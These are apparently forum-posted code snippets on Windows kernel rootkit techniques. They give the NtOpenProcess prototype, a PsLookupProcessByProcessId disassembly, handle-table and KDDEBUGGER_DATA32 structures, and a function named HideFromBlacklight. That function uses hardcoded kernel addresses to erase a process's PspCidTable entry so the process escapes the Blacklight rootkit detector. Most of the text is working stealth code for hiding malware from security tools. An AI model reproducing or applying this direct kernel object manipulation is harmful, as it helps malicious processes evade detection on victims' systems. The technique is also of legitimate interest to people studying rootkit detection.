NTSTATUS NtOpenProcess ( OUT PHANDLE ProcessHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, IN PCLIENT_ID ClientId OPTIONAL);
PsLookupProcessByProcessId: mov edi, edi push ebp mov ebp, esp push ebx push esi mov eax, large fs:124h push [ebp+arg_4] mov esi, eax dec dword ptr [esi+0D4h] push PspCidTable call ExMapHandleToPointer
typedef struct _HANDLE_TABLE { PVOID p_hTable; PEPROCESS QuotaProcess; PVOID UniqueProcessId; EX_PUSH_LOCK HandleTableLock [4]; LIST_ENTRY HandleTableList; EX_PUSH_LOCK HandleContentionEvent; PHANDLE_TRACE_DEBUG_INFO DebugInfo; DWORD ExtraInfoPages; DWORD FirstFree; DWORD LastFree; DWORD NextHandleNeedingPool; DWORD HandleCount; DWORD Flags; };
typedef PHANDLE_TABLE_ENTRY (*ExMapHandleToPointerFUNC) ( IN PHANDLE_TABLE HandleTable, IN HANDLE ProcessId); void HideFromBlacklight(DWORD eproc) { PHANDLE_TABLE_ENTRY CidEntry; ExMapHandleToPointerFUNC map; ExUnlockHandleTableEntryFUNC umap; PEPROCESS p; CLIENT_ID ClientId; map = (ExMapHandleToPointerFUNC)0x80493285; CidEntry = map((PHANDLE_TABLE)0x8188d7c8, LongToHandle( *((DWORD*)(eproc+PIDOFFSET)) ) ); if(CidEntry != NULL) { CidEntry->Object = 0; } return; }
typedef struct _KDDEBUGGER_DATA32 { DBGKD_DEBUG_DATA_HEADER32 Header; ULONG KernBase; ULONG BreakpointWithStatus; // address of breakpoint ULONG SavedContext; USHORT ThCallbackStack; // offset in thread data USHORT NextCallback; // saved pointer to next callback frame USHORT FramePointer; // saved frame pointer USHORT PaeEnabled:1; ULONG KiCallUserMode; // kernel routine ULONG KeUserCallbackDispatcher; // address in ntdll ULONG PsLoadedModuleList; ULONG PsActiveProcessHead; ULONG PspCidTable; ULONG ExpSystemResourcesList; ULONG ExpPagedPoolDescriptor; ULONG ExpNumberOfPagedPools; [...] ULONG KdPrintCircularBuffer; ULONG KdPrintCircularBufferEnd; ULONG KdPrintWritePointer; ULONG KdPrintRolloverCount; ULONG MmLoadedUserImageList; } KDDEBUGGER_DATA32, *PKDDEBUGGER_DATA32;
There are 31,320 total registered users.
[+] expand